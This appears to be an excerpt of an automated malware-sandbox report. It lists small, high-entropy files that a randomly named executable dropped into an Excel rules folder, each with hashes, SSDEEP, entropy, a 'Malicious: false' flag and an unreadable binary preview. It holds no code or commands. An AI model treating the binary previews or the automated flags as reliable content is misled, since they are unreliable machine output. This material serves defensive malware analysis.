SHA-256:	82B152374EF1D9F7AB6406A07AED94259C5525046F846F1815A87F63CAA45B4F
SHA-512:	8D48646AE53F1613E3FE7C3350B4F6A8F9DF3949ACCF658D45B326767C7D16D8F5822394C4E3706F643942EE1D665D24B972E037AFB9492F423EF81B5183D9AE
Malicious:	false
Preview:	<?xml....).P....L.\|.l.YM..~I.C..=xT........J...3..^7.W.&.c.$.......w.W..t-..4Q.tKU..B.e....y.,.[[......t=\|.j..I.axe......&.Qu."....S..-...Z...4..'..gO.g........@..s.O0..%..e..=(.7=.j......?..J<H ..j......+..^..9p.....o`....LOR6W......@.R.G....D..._.$.S.W..a_.E.....uf.x..e...;.tz.].4D=.........s~F^...iC.:.))..p^....)'..}.5G.F......y4...u.#...g..jB>>...G........j_.........).>.}..h..."...r.SL%..I.'...A:...N...n#d%....s....3.....Z.n.).j.{i%.1....t...."...2+.oX....L..9.O...r].t.C.`%Z.@6...jG..y'....\|....\|....V..{..\|....V...av..\|5..C..QmHL....H=?..\..UL}v.K.(DL.......-..R.....wI..<.d.l..... .-.F.-.h..u.N.....!.b"..1.$..&......._.\|.J7Q...*...$.z.".+.-.. ...D"..$....3.c3..-$K#....~.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.771201385136225
Encrypted:	false
SSDEEP:	24:KoDnfkDBOMeItlbQpLzki2tA0MJuL7K/iSxEcs+niOBEb9w1bD:KT8MblbyeMJuLZ4myD
MD5:	79DE1273FC1A51A65CCE4B8399166964
SHA1:	4D0232A78F857F752ED4C6CA02FB4363A1368DF0
SHA-256:	9228E91B6C758919BF87B5BAD0D7E616182AD0C8FABC59DD79538FD984998986
SHA-512:	D821A8248B2A8D84566D20F5ECAD4166760A32C5E1DB44951503DE3CD76608C418393ADB3979328B490DB0008729B3B722C618930A759169EF3EC023D747B48B
Malicious:	false
Preview:	<?xml."a..5.Fw.+..]....... ....b..!.XD... ..tn\|....Q..o.....!].+...T...cC?.?MZ.V...=.e9}..7.$2......+.......'K...q./...zk.. .TDNK..O..:qX.../i+.d.....y./.!....s.RH.(.X.....9...........{^^...t.(..JQ.#\..gu=.b01........s.U....Y.!...yc.cC...O....K...vM.L74.N..m..M..z*=.G..../Q...r.... .y.S...V...-(..a.....R..-.S3H../S.oA.5..~..F..8H9...p.`.5B.......4.5^i..h.H..f.k....9.?.O.m{t7,._...?_....v.....XX..so.!.z.v...j...4m...U.^C.H.g....k.!.T.......iS.....]x2.B.......x....8@M.N..LF...R3z..aIBC!<a7.9x'#k..!U....;...y...H..2y.l6.M.u#....wq..7.....:.evrx.uF...d....._.-r...]W@."Ey...3../.p.X..8.Tq.....\. ..}.4.......f..S...".9......+......b..a..2.=.k_+8..O.g.Pt...7.K...W..q.......:...R1.+7.6.Tu.........G.....I.7.E....!.....0...i.O.^...n...=.../j.R.K........o.j...3.H,u6).<rj...&....$...a.&.f.F.....-.Q...S B..5`..m.C..<`...0F.R.s.h.....$=#!..{[.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.697760100742988
Encrypted:	false
SSDEEP:	12:7n98mAfRkI2K5Fl+0Gvlvle2lEGhk7KjksacckZS5GKeDl63nLeZpoqw1cii9a:jqmcRkiPULQcksVckZAEl6LeDw1bD
MD5:	0BDA6157CBB2BC65D2F1200DB7446DB2
SHA1:	F2ED4CE8B12342C05C77EE5D1A4D5CE3AFEAD35E
SHA-256:	7C841CE13F2D08A98B8CE1C3183BDBE6E40F3338798D0922C7DDEFEB00D552D5
SHA-512:	3F38769E342ED3D103C29A18B21773CEBE61C12820BA636844A9A28D160D7EB7642C99CF7494B0D9B54E71D9F6464AE76AC706A298461FCAE128915A3EAA2A94
Malicious:	false
Preview:	<?xml..BaKi...1....~.fHd..y.X.w.....&..}..../~(m....+P.^u!.<)[.... Z.9'...H..o...&..Y.&.M...P.Z.ZL. .w(+@.....g .......r+.0:..5..\....Lq=d.0<g]....j.K/]:..j.!........\|+..)....bs...!.:2...@....a.I..;.\.i.9......&F....q.V8....?.C....}...../`.j.3:.~75.q)....w..P.o>sg..MT.>......(r0.(.............t 3.h{U9..d?.j...v...S..Wp!.6#.sP\.e..l....B.7.._.q....8.s..q.cx.....fBSYj..k.-K..G..K.^X..2j.V.N.n...Ni.^8..li....@.#q...IB..q.M[\|g..91..A.f..>v8..x.B.cv..9.....d...v.k.h.MU...J...o7}...@...0..)o.....&.S.%.E}...M.n&.....J.....Q...`..36....>$...fx...Q.I......T.Qf...w...d..E..\$P.09......r...o.3.....Y..V{.=....a....o......Q...``p..../....]..J...F.........#(.....r^$....$.Ww .p...\|.E.%.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.670842938743877
Encrypted:	false
SSDEEP:	12:APLXUY7L2VmKO6ovu5CNNtnzUmkLYFbr3MP2Jw2KSKEVn5FYfyUighkEAov6+MeU:ATpOw/vucflzDCWLKvEVnUikk+6g9c3X
MD5:	4DAA2850DC8BB4002868EF4BD9DD756A
SHA1:	F734442A6387392A602655BADD0DE05E6B9F78E8
SHA-256:	C0854910B6DF4C714946F6CDAB3653D57D14273EE66F04A066353AB9A7D025D4
SHA-512:	D70CCF515B818494C547685C7D69138F2E15D253AD413A9C94F54C4B6AB7144E54D9F2957EDB3E5092E43CB7F01F82D9648F194FB0C787388A5A00D38F0DAD2B
Malicious:	false
Preview:	<?xml}y....6.X.,p\|.'.E....{"..@..G.7.?.....tI&.8.....n.`m........+6M1...u...n$x^.....T.v.......g...l^}..v....i..,.'..x.^p....>.Q.......n.....%.O..3."(F..M.i....U']y..k....}.....q...qH.,.i.d...W.Y....-...`....7...!r...Zx...Q.:.A..4.1.CW....5d....q..8<).B\..a..K..M..S9."(z9..9.Z,L.0Q{...;.`g......b7T...OSSGi\|.<...x......#E...Y3....6.UC..Se..`...0[..f7IP[..!.q.{.wApA...2..d..Z.D!.E}.g/.&.C.O......Q.H.3.7.&..V_.r.W..N,.o...S.2%@.0].o,....To-bi{.O..[.9Ii.A`...........9....Z......E.B......f.3c.f.....bl7...B........MT...Mr\g...Jf..^...!.a=.5.. {..5..{...Xx..,]%X._..u.e..q8...QP.Y.:..B.(...Y..v...U..TZ.[WF...kd..]........7..-ITkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7545724919296415
Encrypted:	false
SSDEEP:	24:+uPAnFaNuret+1D4XzV2hnRjziD3lA2tw1bD:6cNurecVJRjKO2tyD
MD5:	008939B4A5C9C7516D85654D6659AF9A
SHA1:	A5AACCC2221BFC68E2A7D6E544F649274FDE3B5C
SHA-256:	0F6C7186FF448410770317B6E471E6B18CD7904C19B02FE3DA6D5AC965765532
SHA-512:	BE9D48EF9BC1190979A709823FF91B437ED2A7EEA87CB990311C2EE37E1A1BCA09C1F88B1D53B8967BBF1257CAF95CB1FF72E76B0441CB6D03ED155E6B90EA24
Malicious:	false
Preview:	<?xml..9d..j..\..u{....bF.....}1g....D!..,jg'.q...-.A.M.u....q..R.T....@....N(... I..9_.....D.jR....8.k ..3...v.k..{.W;v.vp.k.I..H.+...$1F.w.w...(..:..?..7.f...=.4T./h.....+P..O..:......m.!.R#.>\|W..;i.'S...?...t>...6\..Xil....zk.u..L..qp...$..m.&_.%.W..8nc2xo../..+..bEv...+.Gx8.@`w.5....[y.......&.P.VG....m..[.s...C.a..!............N{..wc.g...".V..j..2u{.&.0s#.!......G.....p.{>&:.T..[..a.....!....!.x.2E.A#I.E.........@.d.......MD..^....Y...b.....y8..97.yH(..e....G../G....;..WL&.59 .H.0..vcAC... a.A'...I.....u..77....pu....x.....5Yd.\|.q...cg"1.'...1.....G#..A`[..dq.&./..B..n.Q!...\|@S...uz\|~.~.M\...R ....tO........AIk..kV .t.v.M==...V..z....n.....;..n.....".$..%.$.4...M.........U.PF5.*.%.+.\..\|TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.695612350725518
Encrypted:	false
SSDEEP:	12:zHjTFBSjoNb1mHoHtvFT9dpdUYbuUKph2JiHUdxBSp6HD9oWs5PjQLpoqw1cii9a:zHt4joJIIHtvLbuXpZUdqRfPELZw1bD
MD5:	BA6B9AA2AC0D5819A260215D7AEECF80
SHA1:	59E0B91578A9785088212A41A6EE3C3F4F7C5371
SHA-256:	B8EEAB9406958E89D9DD37F85329066A29D7D03B1F9FB747244E3C8244385B1B
SHA-512:	E971021D2FE9B53A4219513F35C9543E4637A5AF369A8F66478F8FD4956F1FD313826E5BE1F64FE1516A0EBC65FFC5D3C0671F2A6B8B8993055DDDC20250E7E3
Malicious:	false
Preview:	<?xmlL.....e@p......7.$Q]{@....}..X....n..$....+3j+R...jr.$X).1....t.&..x.......Q./......b.,.......Gya.t.j=..].z.>.K:Yz........FE.......-\|#N.x.7.PH...3K(..{QS....K.a... 3......m.U........G\XI...$..1.Y.R..y.>..t....IG..Sw..~...;.r/Z....8V..r..e4..(.B....._....-...0.S.=..B...F.0..&.Z.S?.L.....1.]......>O.I97e....^k"{...2..mz.>8.<Z...@..._.[..i...l..<..Qt.h.u..p"....FX.$E..+9.g.+.%.Y.....D..NzE.A..c]w.=..+..Q.Q.<...x....q...3....n.y...}..D!.^.3...K/..9..W....m..,6..Y...RR.......D..T&.Wj......P...+.3...>..tL..j [.Q6..'C....dg.B....MwP....v............6.G,.&WL......+.${ ..q2.z...>..F.v."y.+.m....{(.H..i_o.Q..^o[.x..Wv..e...y...9_.R.b..T...mTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.711371030905365
Encrypted:	false
SSDEEP:	24:x6NtOc5iVnDlTH+thdH76nfY7I11RQw1bD:x6Nt3IDl7IFqA811KyD
MD5:	B557085188073445E52EFD30167DD738
SHA1:	FBCAA8B0FB2A1332CFB175C1C396123629F3C499
SHA-256:	67516D06A90A7103AF7165029FDCF94D2EB5EC225AF48CC72B3BDCFCBAEB1610
SHA-512:	667CDC5FCCB556F0B304A8D0122575E0FE871DDE5FEB7E307F829CE22D419B398E42EEFBD7B31DBE6EA7596E81FAD7F56D54B38AF64EF0FD68AF9DB29F53E64F
Malicious:	false
Preview:	<?xml.!.[-.@k5..TB...'hzZZ.E.@.]..ST...{..=.?s...qE...F.dk(...#.Q/.d.......q..y.tk.,.2......a)].7a..H!@.....:F.P.5..I..L....V.a...s..0.t.Vjj...nk7._~.VvK....]e.......O..1.V.].M..BR.8s.'..Q...K.78.vG-...p....79.d.....\B.o!..RClU-$X.[..W.....qO`..?)e...c..z....M.2W...LV_.3^....I.w7-..k>...~...$.e.f.N....%......0..x.s"..)@...do...6....../.$.HQ..~i.G....#x.....4.O..>..>..b...7ug.%1?sw....0.:..."..:.Y.O,..o........x1?.0^M.{.''.C..C.....A.~...F.h...f....q.u.f$...g....h.K.V..........lj..>jN...W..M.A......K+...v.n!d...,.;.+sJ.7..QBb.R.....W..H...Fy...]...k..`......{......=u...Nr'_r.....:..!..8.0..j7...n`.K.'.`..o.@.ajd.....5c..*2..s.s.t.<..s....Z..h._.s..?S.".N.........F...Z..\|z.-.(..v.....6H.G<.-.R..o...eTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.718260847848145
Encrypted:	false
SSDEEP:	12:lVD/kK2BUjWuQpS87vYiHLHC8Ly/AgLkV//hrFvu8pgcWVn1nq0fRvwoqw1cii9a:7oTtSEvYiH+/ipBvuL7qmRYw1bD
MD5:	ECD7F80A13CB5576198A59189330BEDC
SHA1:	15030E36FD59CF96E3D706303BE085A975E29A55
SHA-256:	CD2A6FD7F0723C4A85BAC14F2802777A90BB76428B61ACAAC6C3B8494153CC45
SHA-512:	10D1A0F6D6674AD9E0FA1087FCE21B61664DF90F110ECBB05B9EA68D4E858B7CE7F98503944C257C91729FBD8562F27E917BC7D4ECDAC7B296D2F3B8EBB2C015
Malicious:	false
Preview:	<?xml.th+p.....o`O>..g3...G..b.#$..{P...\G.XB%.v...(.7t.!>..d.V.e...m?....+E.7G.HD+Z..+\.....epww...@..K1..e.Q....EO.6.s....g..4.(a.N.{.f^.Z.Mn.-.b):....%i....yfy:5eE....6...x6U.tD.....S....c"..F,.<....F..r.<Ad..a...x.F.u..f.n..}`4Y..7w..\|..6..0:...7R]......^.....Bx./..:...o.+..z$%......u.....Q.$.qM.`......).'..3L.n.j.g.........@.jO.x2...v..-...r...9...b....h.&y;.p......S...M...L.6..w.eX1..Va..0x.....>....:/....Ac.....A...-..U...D..V....?.r..,..K.;..d...E.3.Q.v....zAz.... ..E..s..%..q....\|.^....\.e..!.<.wRX..'.y....+!.".\|n.T.E....f'kA......n...U.[...g...R..........25L...W.;w........&.>..J....r..O.B.%....u...\|@..e..?..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.749193024991359
Encrypted:	false
SSDEEP:	24:gT1DanvfwN/kzZdmgh4gybYVuqwWPK6drD3Md+w1bD:g1anvfwN/kzZxh4IVZwP6dru+yD
MD5:	D75CB11998772500A8D65FB6A024A234
SHA1:	8A0624103AEEC6345F6E607D4BD29511476EC1AD
SHA-256:	B9CA885F9791CCEB812AEAD29C72F30DAD801EE2481D60B2F7DAE8540CF439D9
SHA-512:	E9950F203151EAF0A270AD5987019534889B96C85C4C9A6B22BA7A2D9E3D10AAAD0BA3A1316614AD75795FF8D9F23AC63173DED8C9C897E9F1D99B24B021DD40
Malicious:	false
Preview:	<?xmlL.C.2..M0....;-&o.t..w.H..."B.k.....'......l......;K.i.1.V.......u?...e...j.Cm.A.....@..u6.....v......nf....Z..Th.d....!........y...Iq.....1.-...w.O.....Z..l.c...b2.............Q...L..MM..^.+....$.J.......Ky(..\p).3.Rw#...N......1...xs...]R..p.......JO....F.9....k...l..;(....%Y..Y(...;..,D....."}t8.'.G!...2...{.v.U...~.."..b}....V$....._i...S..G..nl...HBa.....;I......d.V..;.T....._.>...0gP.u.".R.!.Xp..WZQ.....+O$i..#{l....0....-....n....V..7.........q. ..1....5.d/^.8.&....6.c.....+.l_.F..b..<..K.=M...e.h:.ES!.EP1!........Y.Q...X#}..,...........I.@...EA.C..?...U.<`.....]..ti......=.-.iq..J...J.z.c~..P...a.9[... /......3\|U.......l...K..%$,...,...(.RA.^G.}i..,.2Y..p.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.742429334763068
Encrypted:	false
SSDEEP:	12:iYs4bWi8EZsRhV3Nj2ZKTLvZYnLJBMdeT0eZaKBMKcdEt/9UTDgNCbCNj7upgFxC:Ts40EZsRhV3sIYLJBmeJBlFyTDgRqgFg
MD5:	DBABB9B86044575CE6F01EF06A6BD5F0
SHA1:	240CE9BB71A5930077C39B09451C4F8102CC5F58
SHA-256:	BAE89619DABFBDD2030CE13BEC28976C1E2DBC226F0DF4D29B26BB58FD8A6330
SHA-512:	B18540377CA03564DF604155E1B3B841B0F9329EEDDEE0B23EAEC21852FD4995BD4C611B43574CA1E55331452842CDAD711009F50969BB3181E4CA829A4911D6
Malicious:	false
Preview:	<?xml2.t.D....5....=.~.;.O.( ...9...{2..qDjX&.W...:>"._..Qm......i..4C.r.x.......^...8...S..:..d.%...q&N8...D..~U.]....&..s'.2}......2"...)..tw.#...(........J..fh..aU ..wA...f.M.....).......DW...dM..........u.o.....s.}.......8...%.....Nz_mW.'....,..*.fd.V...ia...F...%.S..$.R.7.u.j.....WXk.g.CMSCB.P..G...H..cD.......f..8......c....(#z.L.[.k.vTe._.)E(..'E.#R..\|.....K.).....P...U u4j....3..W..z.`..S..F...p4=.......e..f\...n..r.b..r.ok...._E(.....D.t....r....B..Wxn.b<...y`..KH........G...>.0GO..P...JE..O....V...o."n^...zD3..!d...=...:T....{.W.......@l..f.}..H..@..0......3./......OK.'c0Y0.l.....T..]..oe].>e..hd./../....'...7.w.ep.d..x.0...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.683262383883149
Encrypted:	false
SSDEEP:	24:c1h728urcNh1yklR9pG3F69jpXRHUV7LSoyDf5w1bD:87ircN9lfpoUpRUV7OTyD
MD5:	4C520680CBD3F9E8D67FFE3E66AA8DDA
SHA1:	5FDD7D5B2435E0275435BE04968101B55F1615FE
SHA-256:	101F281EBED90AD422B4BB7F96ED87BDFC5DA3BC972A230DDE4145D24680B830
SHA-512:	2D01DB4F7CD46EAEF5DA76A289A15ACEFB2F80D57ED8D9819C1460E98A1FFC6A7F7F80FBDB3775752731CC2A43A3587B0B8D3D48D5FD7FC366F1918229A70E97
Malicious:	false
Preview:	<?xml...AC.a..;.I.<....P../[x..6.....P.......C[....0..a9d...fU...B..[{d.....D......Pp..{Y..-.......)b.m.Tw.26Gr.+..p.M..2:.._.Q(0...`S.<.$......X..J4i7.g...+......$.P..JN.I.}R#..$U`.".&.L.......t......tm.D...1H{.E@........X...G...8.SDe..bx.4mwf.S....Z.......+.....[..(l.A8.d.3....n`m....G....ls~6.[WhR5.tc........u..$b.....P...U............k......s.q....7.>F.a...~...Z.."..x#.i.g)w..#..7.{...\|..Z...G./...JO.9R..bF.o..?.G`.@w.b.Z.Yr....`.;...P.$.Je.y.\k.s...n..x..^]=\|.?.p......W.S....[....:\.S....q.TtX..s....:2....3...&n..6..c.qG{`...m.<....:\|zrt}.5Y.n).@Sk....~dH..f..x.4@%.,.V2.......]..x\.b...`...+...9....p-p.k#>{4..6......!.M.....b...iH.lW.........\|._g.C,..S...P.'."....S...R.t.....0TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.716203323914603
Encrypted:	false
SSDEEP:	24:8WvV6ntDzgyv9iK7LqusK//UoaZY9Ut9U5krg2rMqPRzw1bD:1kntDzgyvTqXKUoOfIkko5PRzyD
MD5:	63E80A6405CD84B524E25FAFF318EBDC
SHA1:	85FAB74424F895B13A3CA92846810768DC1908F4
SHA-256:	CD8DBAA2CF1C47543AF0F3FD76CD015D822BD925FEC90F0A3A81A26DBB3F3ABA
SHA-512:	467CC9A4F461C1BE80136C7CEAC85C3364B797359FFCC7029574AB9C5D3840314461DD113E485EEF1699FA326E2CE13485047C542F093E0F964AFDF0214193C0
Malicious:	false
Preview:	<?xml..sF. ..Z)S.3.h........Y.......P...d.kQ.WF...@...#N'...V~....j..R.:.......jb+~....x7..l...VZ.cJ.....J.U.m..BP.q....\.u..n#..8E._..;.s.d.Ox........C....Bq.I..'[.E.......X..r.^..<m..t._...Y..VV]0.Nz..w.z....=..[.6a\.q.X.fz.>..w(.....w.>,s...`.j>.. ..y...4..0Q._.z[.C..I..8.rh@.2Yv..@.kQ.?B.B;... ...X;..t....l...Q Tf.B.h..!..<H...\|..soIv.,.'..}..c..`.N..$.=...V.~.!.@.S.......11.!./T`N..K..c2rO. ...b...ta..G/.~.g.E....zR7..;...1C$...k[......_....s2....NS....uN4..........."@...\..9.h3D....f.T.U.......W..0..{...!.H....../_...E.........="w?.t.Z.....qIEp.y.F....X^..y7..G\...Q;b....i..7...F........g\(}.@E1.z7EW.%..^X..oM.....d....Ehb1...8..?#'...Y...z.,...........TxIY3..>m,...@cTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.734167169613406
Encrypted:	false
SSDEEP:	12:GJlPjqyvK6SyGn4XlOsNBu5BGaBIkq2+75DVqOSqOgeH96mnp0Tbwtye4vNRsS18:GJ9GUGnElo5akk5Y70Tcye4JOuV/w1bD
MD5:	21C0D5ABD0F7827F03CBB7CEC7DF1A7E
SHA1:	29555FDE718E3B0228A43B713A3504D2A1B12366
SHA-256:	158BD5AE5621AC51731E69B1B24A89D9C06179242839F762B71EDFC9CF4ECBBF
SHA-512:	3816D977C207685D2B957C9AA4B0AC0965838C1BCC40DA3A0AEA00600C9DB2A94AB1638C8F6C4BE7F3132B657B1312E9106B57478ABF162F287C7363A2B491D4
Malicious:	false
Preview:	<?xml..y.w.LqS_.L_......]..f........<.2..W...F..g....}......`.....l...c.y....~.t1J\.G0c.5O.".T5}..y/B.0fh.....4[...x....f+;..=._z[<.G.h.^f...g/..;z..+/....3i_,.G...H..R?s..9....$7I./..&D.G..C... ..#.....m...(;.t..kP9+Mx.....:.R..bw........faN.u....X.By<.E........~P...[...y.1T!&gf?I=.......i.L...P..<..{2By,L...G.;2...b]....i$..w.Bp.a.......V...s9.G.FM^....m3#..N.>.]......J.Ca...u...m..u.AJ.z.........8...Zl.....u.pP.~2...P...i.Qh"......./,...;;:.....g.5F.v.:...J.jK..;....W.....O........."..f6.m#.yf.wpl...f.3..3.R.[..4d..n+........vj./..d.\8.N.,.....S..O.`s.5..0......<.$.W.U...P...H~_........c.\.w.W.ea.."~.....!Lag.....@. ...R.w?./.C.n.Im..M\.t..v..,1...U.\..R!F.E.....j.q5...Z..f.d.x..9.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.695148454388987
Encrypted:	false
SSDEEP:	12:cfuzoTAT4LbOrG8xUoHhFPqEvNuBDMlGQWJReWmuFlF5HhU+Aboqw1cii9a:cmETAT0bWG8xUkvNuh6Go4FlJUzrw1bD
MD5:	4A7DC1543F3F02BA2118C2F1353BDC24
SHA1:	DE4317669F8F3734957FB0E2F504D78A2A80FD13
SHA-256:	02AB3E2066DA6FE1B80EB0D5524D04943A8FC36B6252579661E5CB740EAA5671
SHA-512:	260F29DCC10358647EF705310409B931DC228B35CD4262234E92D9A038AC21DE370C26294B5C46CBC0A5DBC7B0E90C913E693550928AFCC8B2E54ED948849DDA
Malicious:	false
Preview:	<?xml...;.....).eS.(xA..A.{..C9.P.Z&....z..B...fXUR.......N^z.....iGm}..6_.5!.....U. ...T......z..#.gv..K...%....m8...`S....^...[Y.)...2..eN..{b.zf..aw~..Y....LT..c..T..xB..Us.>.}.ntG.7:._....WB.k9..'..zPU.%.`h...X....a...b.......[..Er Zt..q.....i...N.+.S~.q.0s...+.zf.jb..`.dI6K.l..o.f,.XZ.n5........\|.}6....j.q4z....b7.Bg......pHf.....Z.........r.83.?l.\|D..B;...Uu9..P1..$=..K.y.d.{.....>.'....Z=.$5{./.......W..e`,b.....^.7}...K...8._A..giNG.A...vt..l.....i.......L:...a.0...}..d..d....&..5.N..2.\|$...C.2j.:....].^ P..G..`m..U...jX...QNJn..z.=..r.FUi?.%..M.t...i.\:.k-...&..G7...b....x..R.S..@..d.s.8.r.J...\...u....S......iy....$..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7001772364770495
Encrypted:	false
SSDEEP:	24:aUnVMpnsviuxmahlJsdSMw2fNxFLo8w1bD:annkiuNbsZwELhByD
MD5:	4A0E6CA73DE65BBE12989D63E049965F
SHA1:	7AD13EE4877BE91A2B1B73BA2FA6DE5EC5D04180
SHA-256:	1D2B48F9F5D19AC2AE7E4E4746A815A4D4484C2E1C7F82C25C34B12951CB3924
SHA-512:	372F415A3E4F08EC778FC03F0B6C1AA6B68AF88D19D12285A87A8D3F1A38130ED87B6883CE61195DB0E02664BC864EA7FE301F13F9F127619555A9FC7A5DCEB3
Malicious:	false
Preview:	<?xml.0_....K.m...!...9...r..4.%.d.=6.6DukV.##mi_X..-.a.l6....NI..:....N...K^k)m.\|.,..[..7.M.2..0....y..F.{EP..C...$b..).E".M...(,.YB.W...:Pk..ve.E..".b...[)U.....CAQ...C...:......#..i...Q..k.l.`h....),.p.....x2^........!.'.?......0.m:.on.^.d.M..+... ..Z..N.4H_..va\|;Cj\|.R.'qO.6...\.. ..TZ.v.>=I.&..n......Q.'<.+7...K..C.j..8.......l4XUG.i..AZ&..s.X?....2Q..T=.",..l.+T.6.-V.._...j{-V.92..dq`.m.v..Z.L........6 ...D.c....[.q........GD..._.4..D..y.q..b..?....-v....$".+7.l.......).K.XU...U..j..r....Y........q.f'.cq......g...:..DwV.:.A....u:...#...+..T!FT..@.kB..]....A...-v.......5.gH.i.4..r1.;.z..x.dcDr....\.}.6..o.{.f....C.eSC....j.aS.m>.9..A.V.............8.6&.K..+.w..yq#wD..}\}.fTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.703500905630721
Encrypted:	false
SSDEEP:	12:Z1W7PNQqxbgTlIOFepvwnD/pELbHYJfvzbACx/A8AhKJtEuZIEdQt/6kGUFKZdZA:wrqhIOFepv4j2OrxYjhStEcbStykrFK6
MD5:	4D89F2F522F301AC0EA276783131DB3A
SHA1:	D5EC6B3054BCEC4C640A52B4495ADAAECFB50FFC
SHA-256:	E8023A947781E04B52EE51F502E46FB4D6CFAD1C92EE5C8045B6B57D4399CAC0
SHA-512:	68F343E26AB919DCF5D29BE541F45C9C41BBE8D024A011FA760B3097F12FA7BF22CEB24F2997DE6BEF2402D5E5A5E090FBBCA2667C1A1D941B36D718D31AD890
Malicious:	false
